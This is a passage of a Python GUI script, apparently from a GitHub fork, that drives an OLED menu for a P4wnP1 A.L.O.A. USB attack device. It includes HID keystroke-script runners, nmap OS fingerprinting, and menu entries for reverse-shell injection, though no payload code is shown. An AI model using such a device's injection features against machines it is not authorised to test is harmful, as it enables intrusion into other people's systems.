forked from beboxos/P4wnP1_ALOA_OLED_MENU_V2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
gui.py
1217 lines (1185 loc) · 47.8 KB
/
gui.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding:utf-8 -*-
#imports
from luma.core.interface.serial import i2c, spi
from luma.core.render import canvas
from luma.core.sprite_system import framerate_regulator
from luma.core import lib
from luma.oled.device import sh1106
import RPi.GPIO as GPIO
import datetime
import time
import subprocess
from PIL import Image
from PIL import ImageDraw
from PIL import ImageFont
import socket, sys
import os
import base64
GPIO.setwarnings(False)
#P4wnP1 essential const
hidpath = "/usr/local/P4wnP1/HIDScripts/"
sshpath = "/usr/local/P4wnP1/scripts/"
# Load default font.
font = ImageFont.load_default()
# Create blank image for drawing.
# Make sure to create image with mode '1' for 1-bit color.
width = 128
height = 64
image = Image.new('1', (width, height))
# First define some constants to allow easy resizing of shapes.
padding = -2
top = padding
bottom = height-padding
line1 = top
line2 = top+8
line3 = top+16
line4 = top+25
line5 = top+34
line6 = top+43
line7 = top+52
brightness = 255 #Max
fichier=""
# Move left to right keeping track of the current x position for drawing shapes.
x = 0
RST = 25
CS = 8
DC = 24
#GPIO define and OLED configuration
RST_PIN = 25 #waveshare settings
CS_PIN = 8 #waveshare settings
DC_PIN = 24 #waveshare settings
KEY_UP_PIN = 6 #stick up
KEY_DOWN_PIN = 19 #stick down
KEY_LEFT_PIN = 5 #sitck left // go back
KEY_RIGHT_PIN = 26 #stick right // go in // validate
KEY_PRESS_PIN = 13 #stick center button
KEY1_PIN = 21 #key 1 // up
KEY2_PIN = 20 #key 2 // cancel/goback
KEY3_PIN = 16 #key 3 // down
USER_I2C = 0 #set to 1 if your oled is I2C or 0 if use SPI interface
#init GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setup(KEY_UP_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up
GPIO.setup(KEY_DOWN_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up
GPIO.setup(KEY_LEFT_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up
GPIO.setup(KEY_RIGHT_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up
GPIO.setup(KEY_PRESS_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up
GPIO.setup(KEY1_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up
GPIO.setup(KEY2_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up
GPIO.setup(KEY3_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up
screensaver = 0
#SPI
#serial = spi(device=0, port=0, bus_speed_hz = 8000000, transfer_size = 4096, gpio_DC = 24, gpio_RST = 25)
if USER_I2C == 1:
GPIO.setmode(GPIO.BCM)
GPIO.setup(RST,GPIO.OUT)
GPIO.output(RST,GPIO.HIGH)
serial = i2c(port=1, address=0x3c)
else:
serial = spi(device=0, port=0, bus_speed_hz = 8000000, transfer_size = 4096, gpio_DC = 24, gpio_RST = 25)
device = sh1106(serial, rotate=2) #sh1106
def DisplayText(l1,l2,l3,l4,l5,l6,l7):
# simple routine to display 7 lines of text
with canvas(device) as draw:
draw.text((0, line1), l1, font=font, fill=255)
draw.text((0, line2), l2, font=font, fill=255)
draw.text((0, line3), l3, font=font, fill=255)
draw.text((0, line4), l4, font=font, fill=255)
draw.text((0, line5), l5, font=font, fill=255)
draw.text((0, line6), l6, font=font, fill=255)
draw.text((0, line7), l7, font=font, fill=255)
def shell(cmd):
return(subprocess.check_output(cmd, shell = True ))
def switch_menu(argument):
switcher = {
0: "_ P4wnP1 A.L.O.A",
1: "_SYSTEM RELATED",
2: "_HID MANAGEMENT",
3: "_WIFI THINGS",
4: "_TRIGGERS FEATURES",
5: "_TEMPLATES FEATURES",
6: "_INFOSEC TOOLS",
7: "_System information",
8: "_OLED brightness",
9: "_HOST OS detection",
10: "_Display OFF",
11: "_Keys Test",
12: "_Reboot GUI",
13: "_System shutdown",
14: "_RUN HID script",
15: "_GAMEPAD",
16: "_MOUSE",
17: "_Set Typing Speed",
18: "_Set Key layout",
19: "_",
20: "_",
21: "_Scan WIFI AP",
22: "_",
23: "_",
24: "_",
25: "_",
26: "_",
27: "_",
28: "_Send to oled group",
29: "_",
30: "_",
31: "_",
32: "_",
33: "_",
34: "_",
35: "_FULL SETTINGS",
36: "_BLUETOOTH",
37: "_USB",
38: "_WIFI",
39: "_TRIGGER ACTIONS",
40: "_NETWORK",
41: "_",
42: "_Inject Rshell(ADMIN)",
43: "_Inject Rshell (USER)",
44: "_Revesreshell Exploit",
45: "_",
46: "_",
47: "_",
48: "_"
}
return switcher.get(argument, "Invalid")
def about():
# simple sub routine to show an About
DisplayText(
" : P4wnP1 A.L.O.A :",
"P4wnP1 (c) @Mame82",
"",
"This GUI is developed",
" by BeBoX",
"contact :",
)
while GPIO.input(KEY_LEFT_PIN):
#wait
menu = 1
page = 0
#system information sub routine
def sysinfos():
while GPIO.input(KEY_LEFT_PIN):
now = datetime.datetime.now()
today_time = now.strftime("%H:%M:%S")
today_date = now.strftime("%d %b %y")
cmd = "hostname -I | cut -d\' \' -f1"
IP = subprocess.check_output(cmd, shell = True )
cmd = "hostname -I"
IP2 = subprocess.check_output(cmd, shell = True ).split(" ")[1]
IP3 = subprocess.check_output(cmd, shell = True ).split(" ")[2]
cmd = "top -bn1 | grep load | awk '{printf \"CPU Load: %.2f\", $(NF-2)}'"
CPU = subprocess.check_output(cmd, shell = True )
cmd = "free -m | awk 'NR==2{printf \"Mem: %s/%sMB %.2f%%\", $3,$2,$3*100/$2 }'"
MemUsage = subprocess.check_output(cmd, shell = True )
cmd = "df -h | awk '$NF==\"/\"{printf \"Disk: %d/%dGB %s\", $3,$2,$5}'"
Disk = subprocess.check_output(cmd, shell = True )
DisplayText(
"WIFI: " + str(IP),
str(CPU),
str(MemUsage),
str(Disk),
"BTH.: " + str(IP3),
"USB.: " + str(IP2),
today_date + " " + today_time
)
time.sleep(0.1)
#page = 7
def IdentOS(ips):
#return os name if found ex. Microsoft Windows 7 , Linux 3.X
return(shell("nmap -p 22,80,445,65123,56123 -O " + ips + " | grep Running: | cut -d \":\" -f2 | cut -d \"|\" -f1"))
def OsDetails(ips):
return(shell("nmap -p 22,80,445,65123,56123 -O " + ips + " | grep \"OS details:\" | cut -d \":\" -f2 | cut -d \",\" -f1"))
def OLEDContrast(contrast):
#set contrast 0 to 255
while GPIO.input(KEY_LEFT_PIN):
#loop until press left to quit
with canvas(device) as draw:
if GPIO.input(KEY_UP_PIN): # button is released
draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=0) #Up
else: # button is pressed:
draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=1) #Up filled
contrast = contrast +5
if contrast>255:
contrast = 255
if GPIO.input(KEY_DOWN_PIN): # button is released
draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=0) #down
else: # button is pressed:
draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=1) #down filled
contrast = contrast-5
if contrast<0:
contrast = 0
device.contrast(contrast)
draw.text((54, line4), "Value : " + str(contrast), font=font, fill=255)
return(contrast)
def splash():
img_path = os.path.abspath(os.path.join(os.path.dirname(__file__), 'images', 'bootwhat.bmp'))
splash = Image.open(img_path) \
.transform((device.width, device.height), Image.AFFINE, (1, 0, 0, 0, 1, 0), Image.BILINEAR) \
.convert(device.mode)
device.display(splash)
time.sleep(5) #5 sec splash boot screen
def SreenOFF():
#put screen off until press left
while GPIO.input(KEY_LEFT_PIN):
device.hide()
time.sleep(0.1)
device.show()
def KeyTest():
while GPIO.input(KEY_LEFT_PIN):
with canvas(device) as draw:
if GPIO.input(KEY_UP_PIN): # button is released
draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=0) #Up
else: # button is pressed:
draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=1) #Up filled
if GPIO.input(KEY_LEFT_PIN): # button is released
draw.polygon([(0, 30), (18, 21), (18, 41)], outline=255, fill=0) #left
else: # button is pressed:
draw.polygon([(0, 30), (18, 21), (18, 41)], outline=255, fill=1) #left filled
if GPIO.input(KEY_RIGHT_PIN): # button is released
draw.polygon([(60, 30), (42, 21), (42, 41)], outline=255, fill=0) #right
else: # button is pressed:
draw.polygon([(60, 30), (42, 21), (42, 41)], outline=255, fill=1) #right filled
if GPIO.input(KEY_DOWN_PIN): # button is released
draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=0) #down
else: # button is pressed:
draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=1) #down filled
if GPIO.input(KEY_PRESS_PIN): # button is released
draw.rectangle((20, 22,40,40), outline=255, fill=0) #center
else: # button is pressed:
draw.rectangle((20, 22,40,40), outline=255, fill=1) #center filled
if GPIO.input(KEY1_PIN): # button is released
draw.ellipse((70,0,90,20), outline=255, fill=0) #A button
else: # button is pressed:
draw.ellipse((70,0,90,20), outline=255, fill=1) #A button filled
if GPIO.input(KEY2_PIN): # button is released
draw.ellipse((100,20,120,40), outline=255, fill=0) #B button
else: # button is pressed:
draw.ellipse((100,20,120,40), outline=255, fill=1) #B button filled
if GPIO.input(KEY3_PIN): # button is released
draw.ellipse((70,40,90,60), outline=255, fill=0) #A button
else: # button is pressed:
draw.ellipse((70,40,90,60), outline=255, fill=1) #A button filled
def FileSelect(path,ext):
cmd = "ls -F --format=single-column " + path + "*" + ext
listattack=subprocess.check_output(cmd, shell = True )
listattack=listattack.replace(ext,"")
listattack=listattack.replace(path,"")
listattack=listattack.replace("*","")
listattack=listattack.split("\n")
maxi=len(listattack) #number of records
cur=0
retour = ""
ligne = ["","","","","","","",""]
time.sleep(0.5)
while GPIO.input(KEY_LEFT_PIN):
#on boucle
tok=0
if maxi < 7:
for n in range(0,7):
if n<maxi:
if n == cur:
ligne[n] = ">"+listattack[n]
else:
ligne[n] = " "+listattack[n]
else:
ligne[n] = ""
else:
if cur+7<maxi:
for n in range (cur,cur + 7):
if n == cur:
ligne[tok] = ">"+listattack[n]
else:
ligne[tok] = " "+listattack[n]
tok=tok+1
else:
for n in range(maxi-8,maxi-1):
if n == cur:
ligne[tok] = ">"+listattack[n]
else:
ligne[tok] = " "+listattack[n]
tok=tok+1
if GPIO.input(KEY_UP_PIN): # button is released
menu = 1
else: # button is pressed:
cur = cur -1
if cur<0:
cur = 0
if GPIO.input(KEY_DOWN_PIN): # button is released
menu = 1
else: # button is pressed:
cur = cur + 1
if cur>maxi-2:
cur = maxi-2
if GPIO.input(KEY_RIGHT_PIN): # button is released
menu = 1
else: # button is pressed:
retour = listattack[cur]+ext
return(retour)
#print(str(cur) + " " + listattack[cur]) #debug
DisplayText(ligne[0],ligne[1],ligne[2],ligne[3],ligne[4],ligne[5],ligne[6])
time.sleep(0.1)
return("")
def templateSelect(liste):
# GetTemplateList("BLUETOOTH").split("\n")
fichier = GetTemplateList(liste).split("\n")
maxi = len(fichier)
cur=1
retour = ""
ligne = ["","","","","","","",""]
time.sleep(0.5)
while GPIO.input(KEY_LEFT_PIN):
#on boucle
tok=1
if maxi < 8:
for n in range(1,8):
if n<maxi:
if n == cur:
ligne[n-1] = ">"+fichier[n]
else:
ligne[n-1] = " "+fichier[n]
else:
ligne[n-1] = ""
else:
if cur+7<maxi:
for n in range (cur,cur + 7):
if n == cur:
ligne[tok-1] = ">"+fichier[n]
else:
ligne[tok-1] = " "+fichier[n]
tok=tok+1
else:
for n in range(maxi-8,maxi-1):
if n == cur:
ligne[tok-1] = ">"+fichier[n]
else:
ligne[tok-1] = " "+fichier[n]
tok=tok+1
if GPIO.input(KEY_UP_PIN): # button is released
menu = 1
else: # button is pressed:
cur = cur -1
if cur<1:
cur = 1
if GPIO.input(KEY_DOWN_PIN): # button is released
menu = 1
else: # button is pressed:
cur = cur + 1
if cur>maxi-2:
cur = maxi-2
if GPIO.input(KEY_RIGHT_PIN): # button is released
menu = 1
else: # button is pressed:
retour = fichier[cur]
print(retour)
return(retour)
# ----------
DisplayText(ligne[0],ligne[1],ligne[2],ligne[3],ligne[4],ligne[5],ligne[6])
time.sleep(0.1)
def runhid():
#choose and run (or not) a script
fichier = FileSelect(hidpath,".js")
time.sleep(0.5)
if fichier == "":
return()
while GPIO.input(KEY_LEFT_PIN):
answer = 0
while answer == 0:
DisplayText(
"YES YES",
"",
"",
fichier,
"",
"",
"NO NO"
)
if GPIO.input(KEY_UP_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 1
if GPIO.input(KEY_DOWN_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 2
if GPIO.input(KEY1_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 1
if GPIO.input(KEY3_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 2
if answer == 2:
return()
time.sleep(0.5) #pause
answer = 0
while answer ==0:
DisplayText(
" Run Background job",
"",
"",
"Method ? CANCEL",
"",
"",
" Run direct job"
)
if GPIO.input(KEY_UP_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 1
if GPIO.input(KEY_LEFT_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 2
if GPIO.input(KEY_DOWN_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 3
if GPIO.input(KEY1_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 1
if GPIO.input(KEY2_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 2
if GPIO.input(KEY3_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 3
if answer == 2:
return()
DisplayText(
"",
"",
"",
"HID Script running...",
"",
"",
""
)
if answer == 1:
# run as background job P4wnP1_cli hid job command
cmd = "P4wnP1_cli hid job '" + fichier+"'"
result=subprocess.check_output(cmd, shell = True )
return()
if answer == 3:
# run hid script directly
cmd = "P4wnP1_cli hid run '" + fichier+"'"
result=subprocess.check_output(cmd, shell = True )
return()
def restart():
cmd="python /root/BeBoXGui/runmenu.py &"
exe = subprocess.check_output(cmd, shell = True )
return()
def GetTemplateList(type):
# get list of template
# Possible types : FULL_SETTINGS , BLUETOOTH , USB , WIFI , TRIGGER_ACTIONS , NETWORK
cmd = "P4wnP1_cli template list"
list = subprocess.check_output(cmd, shell = True )
list = list.replace("Templates of type ","") #remove unwanted text
list = list.replace(" :","")
list = list.replace("------------------------------------\n","")
list = list.split("\n")
result = ""
found = 0
for n in range(0,len(list)):
if list[n] == type:
found = 1
if list[n] == "":
found = 0
if found == 1:
result = result + list[n] + "\n"
return(result)
def ApplyTemplate(template,section):
print(template)
print(section)
while GPIO.input(KEY_LEFT_PIN):
answer = 0
while answer == 0:
DisplayText(
"YES YES",
"",
"",
fichier,
"",
"",
"NO NO"
)
if GPIO.input(KEY_UP_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 1
if GPIO.input(KEY_DOWN_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 2
if GPIO.input(KEY1_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 1
if GPIO.input(KEY3_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 2
if answer == 2:
return()
time.sleep(0.5) #pause
cmd = "P4wnP1_cli template deploy -" +section + " '"+ template+"'"
exe = subprocess.check_output(cmd, shell = True )
return()
def Gamepad():
while GPIO.input(KEY_PRESS_PIN):
with canvas(device) as draw:
if GPIO.input(KEY_UP_PIN): # button is released
draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=0) #Up
else: # button is pressed:
draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=1) #Up filled
exe = subprocess.check_output("P4wnP1_cli hid run -c 'press(\"UP\")'", shell = True )
if GPIO.input(KEY_LEFT_PIN): # button is released
draw.polygon([(0, 30), (18, 21), (18, 41)], outline=255, fill=0) #left
else: # button is pressed:
draw.polygon([(0, 30), (18, 21), (18, 41)], outline=255, fill=1) #left filled
exe = subprocess.check_output("P4wnP1_cli hid run -c 'press(\"LEFT\")'", shell = True )
if GPIO.input(KEY_RIGHT_PIN): # button is released
draw.polygon([(60, 30), (42, 21), (42, 41)], outline=255, fill=0) #right
else: # button is pressed:
draw.polygon([(60, 30), (42, 21), (42, 41)], outline=255, fill=1) #right filled
exe = subprocess.check_output("P4wnP1_cli hid run -c 'press(\"RIGHT\")'", shell = True )
if GPIO.input(KEY_DOWN_PIN): # button is released
draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=0) #down
else: # button is pressed:
draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=1) #down filled
exe = subprocess.check_output("P4wnP1_cli hid run -c 'press(\"DOWN\")'", shell = True )
if GPIO.input(KEY1_PIN): # button is released
draw.ellipse((70,0,90,20), outline=255, fill=0) #A button
else: # button is pressed:
draw.ellipse((70,0,90,20), outline=255, fill=1) #A button filled
exe = subprocess.check_output("P4wnP1_cli hid run -c 'press(\"Q\")'", shell = True )
if GPIO.input(KEY2_PIN): # button is released
draw.ellipse((100,20,120,40), outline=255, fill=0) #B button
else: # button is pressed:
draw.ellipse((100,20,120,40), outline=255, fill=1) #B button filled
exe = subprocess.check_output("P4wnP1_cli hid run -c 'press(\"W\")'", shell = True )
if GPIO.input(KEY3_PIN): # button is released
draw.ellipse((70,40,90,60), outline=255, fill=0) #A button
else: # button is pressed:
draw.ellipse((70,40,90,60), outline=255, fill=1) #A button filled
exe = subprocess.check_output("P4wnP1_cli hid run -c 'press(\"E\")'", shell = True )
def Mouse():
bouton1 = 0
bouton2 = 0
step = 10
time.sleep(0.5)
while GPIO.input(KEY2_PIN):
with canvas(device) as draw:
if GPIO.input(KEY_UP_PIN): # button is released
draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=0) #Up
else: # button is pressed:
draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=1) #Up filled
exe = subprocess.check_output("P4wnP1_cli hid run -c 'moveStepped(0,-"+str(step)+")'", shell = True )
if GPIO.input(KEY_LEFT_PIN): # button is released
draw.polygon([(0, 30), (18, 21), (18, 41)], outline=255, fill=0) #left
else: # button is pressed:
draw.polygon([(0, 30), (18, 21), (18, 41)], outline=255, fill=1) #left filled
exe = subprocess.check_output("P4wnP1_cli hid run -c 'moveStepped(-"+str(step)+",0)'", shell = True )
if GPIO.input(KEY_RIGHT_PIN): # button is released
draw.polygon([(60, 30), (42, 21), (42, 41)], outline=255, fill=0) #right
else: # button is pressed:
draw.polygon([(60, 30), (42, 21), (42, 41)], outline=255, fill=1) #right filled
exe = subprocess.check_output("P4wnP1_cli hid run -c 'moveStepped("+str(step)+",0)'", shell = True )
if GPIO.input(KEY_DOWN_PIN): # button is released
draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=0) #down
else: # button is pressed:
draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=1) #down filled
exe = subprocess.check_output("P4wnP1_cli hid run -c 'moveStepped(0,"+str(step)+")'", shell = True )
if GPIO.input(KEY_PRESS_PIN): # button is released
draw.rectangle((20, 22,40,40), outline=255, fill=0) #center
else: # button is pressed:
draw.rectangle((20, 22,40,40), outline=255, fill=1) #center filled
if step == 10:
#exe = subprocess.check_output("P4wnP1_cli hid run -c 'button(BT1)'", shell = True )
step = 100
time.sleep(0.2)
else:
#exe = subprocess.check_output("P4wnP1_cli hid run -c 'button(BTNONE)'", shell = True )
step = 10
time.sleep(0.2)
if GPIO.input(KEY1_PIN): # button is released
draw.ellipse((70,0,90,20), outline=255, fill=0) #A button
#exe = subprocess.check_output("P4wnP1_cli hid run -c 'button(BTNONE)'", shell = True )
else: # button is pressed:
draw.ellipse((70,0,90,20), outline=255, fill=1) #A button filled
if bouton1 == 0:
exe = subprocess.check_output("P4wnP1_cli hid run -c 'button(BT1)'", shell = True )
bouton1 = 1
time.sleep(0.2)
exe = subprocess.check_output("P4wnP1_cli hid run -c 'button(BTNONE)'", shell = True )
else:
exe = subprocess.check_output("P4wnP1_cli hid run -c 'button(BTNONE)'", shell = True )
bouton1 = 0
time.sleep(0.2)
draw.text((64, line4), "Key2 : Exit", font=font, fill=255)
if GPIO.input(KEY3_PIN): # button is released
draw.ellipse((70,40,90,60), outline=255, fill=0) #A button
#exe = subprocess.check_output("P4wnP1_cli hid run -c 'button(BTNONE)'", shell = True )
else: # button is pressed:
draw.ellipse((70,40,90,60), outline=255, fill=1) #A button filled
if bouton2 == 0:
exe = subprocess.check_output("P4wnP1_cli hid run -c 'button(BT2)'", shell = True )
bouton2 = 1
time.sleep(0.2)
exe = subprocess.check_output("P4wnP1_cli hid run -c 'button(BTNONE)'", shell = True )
else:
exe = subprocess.check_output("P4wnP1_cli hid run -c 'button(BTNONE)'", shell = True )
bouton2 = 0
time.sleep(0.2)
#time.sleep(0.1)
def SetTypingSpeed():
time.sleep(0.5) #pause
while GPIO.input(KEY_LEFT_PIN):
DisplayText(
" Natural typing speed",
"",
"",
" CANCEL",
"",
"",
" Fast typing speed"
)
if GPIO.input(KEY_UP_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 1
if GPIO.input(KEY_LEFT_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 2
if GPIO.input(KEY_DOWN_PIN): # button is released
menu = 1
else: # button is pressed:
answer = 3
if GPIO.input(KEY1_PIN): # button is released
menu = 1
else: # button is pressed:
exe = subprocess.check_output("P4wnP1_cli hid run -c 'typingSpeed(100,150)'", shell = True )
time.sleep(0.5) #pause
return()
if GPIO.input(KEY2_PIN): # button is released
menu = 1
else: # button is pressed:
time.sleep(0.5) #pause
return()
if GPIO.input(KEY3_PIN): # button is released
menu = 1
else: # button is pressed:
exe = subprocess.check_output("P4wnP1_cli hid run -c 'typingSpeed(0,0)'", shell = True )
time.sleep(0.5) #pause
return()
time.sleep(0.5) #pause
def scanwifi():
#list wifi APs
cmd ="sudo iwlist wlan0 scan | grep ESSID"
SSID=subprocess.check_output(cmd, shell = True )
SSID=SSID.replace(" ESSID:","")
SSID=SSID.replace("\"","")
ssidlist=SSID.split("\n")
cmd ="sudo iwlist wlan0 scan | grep Encryption"
Ekey=subprocess.check_output(cmd, shell = True )
Ekey=Ekey.replace(" Encryption ","")
Ekeylist=Ekey.split("\n")
for n in range(0,len(ssidlist)):
if ssidlist[n]=="":ssidlist[n]="Hidden"
ssidlist[n]=ssidlist[n]+" ["+Ekeylist[n]+"]"
#----------------------------------------------------------
listattack=ssidlist
maxi=len(listattack) #number of records
cur=0
retour = ""
ligne = ["","","","","","","",""]
time.sleep(0.5)
while GPIO.input(KEY_LEFT_PIN):
#on boucle
tok=0
if maxi < 7:
for n in range(0,7):
if n<maxi:
if n == cur:
ligne[n] = ">"+listattack[n]
else:
ligne[n] = " "+listattack[n]
else:
ligne[n] = ""
else:
if cur+7<maxi:
for n in range (cur,cur + 7):
if n == cur:
ligne[tok] = ">"+listattack[n]
else:
ligne[tok] = " "+listattack[n]
tok=tok+1
else:
for n in range(maxi-8,maxi-1):
if n == cur:
ligne[tok] = ">"+listattack[n]
else:
ligne[tok] = " "+listattack[n]
tok=tok+1
if GPIO.input(KEY_UP_PIN): # button is released
menu = 1
else: # button is pressed:
cur = cur -1
if cur<0:
cur = 0
if GPIO.input(KEY_DOWN_PIN): # button is released
menu = 1
else: # button is pressed:
cur = cur + 1
if cur>maxi-2:
cur = maxi-2
if GPIO.input(KEY_RIGHT_PIN): # button is released
menu = 1
else: # button is pressed:
retour = listattack[cur]
return(retour)
#print(str(cur) + " " + listattack[cur]) #debug
DisplayText(ligne[0],ligne[1],ligne[2],ligne[3],ligne[4],ligne[5],ligne[6])
time.sleep(0.1)
return("")
def trigger1():
while GPIO.input(KEY_PRESS_PIN):
with canvas(device) as draw:
if GPIO.input(KEY_UP_PIN): # button is released
draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=0) #Up
draw.text((28, line2+2), "1", font=font, fill=255)
else: # button is pressed:
draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=1) #Up filled
shell("P4wnP1_cli trigger send -n \"oled\" -v 1")
if GPIO.input(KEY_LEFT_PIN): # button is released
draw.polygon([(0, 30), (18, 21), (18, 41)], outline=255, fill=0) #left
draw.text((11, line5-7), "3", font=font, fill=255)
else: # button is pressed:
draw.polygon([(0, 30), (18, 21), (18, 41)], outline=255, fill=1) #left filled
shell("P4wnP1_cli trigger send -n \"oled\" -v 3")
if GPIO.input(KEY_RIGHT_PIN): # button is released
draw.polygon([(60, 30), (42, 21), (42, 41)], outline=255, fill=0) #right
draw.text((45, line5-7), "4", font=font, fill=255)
else: # button is pressed:
draw.polygon([(60, 30), (42, 21), (42, 41)], outline=255, fill=1) #right filled
shell("P4wnP1_cli trigger send -n \"oled\" -v 4")
if GPIO.input(KEY_DOWN_PIN): # button is released
draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=0) #down
draw.text((28, line6+3), "2", font=font, fill=255)
else: # button is pressed:
draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=1) #down filled
shell("P4wnP1_cli trigger send -n \"oled\" -v 2")
if GPIO.input(KEY1_PIN): # button is released
draw.ellipse((70,0,90,20), outline=255, fill=0) #A button
draw.text((75, line2), "10", font=font, fill=255)
else: # button is pressed:
draw.ellipse((70,0,90,20), outline=255, fill=1) #A button filled
shell("P4wnP1_cli trigger send -n \"oled\" -v 10")
if GPIO.input(KEY2_PIN): # button is released
draw.ellipse((100,20,120,40), outline=255, fill=0) #B button
draw.text((105, line5-7), "20", font=font, fill=255)
else: # button is pressed:
draw.ellipse((100,20,120,40), outline=255, fill=1) #B button filled
shell("P4wnP1_cli trigger send -n \"oled\" -v 20")
if GPIO.input(KEY3_PIN): # button is released
draw.ellipse((70,40,90,60), outline=255, fill=0) #A button
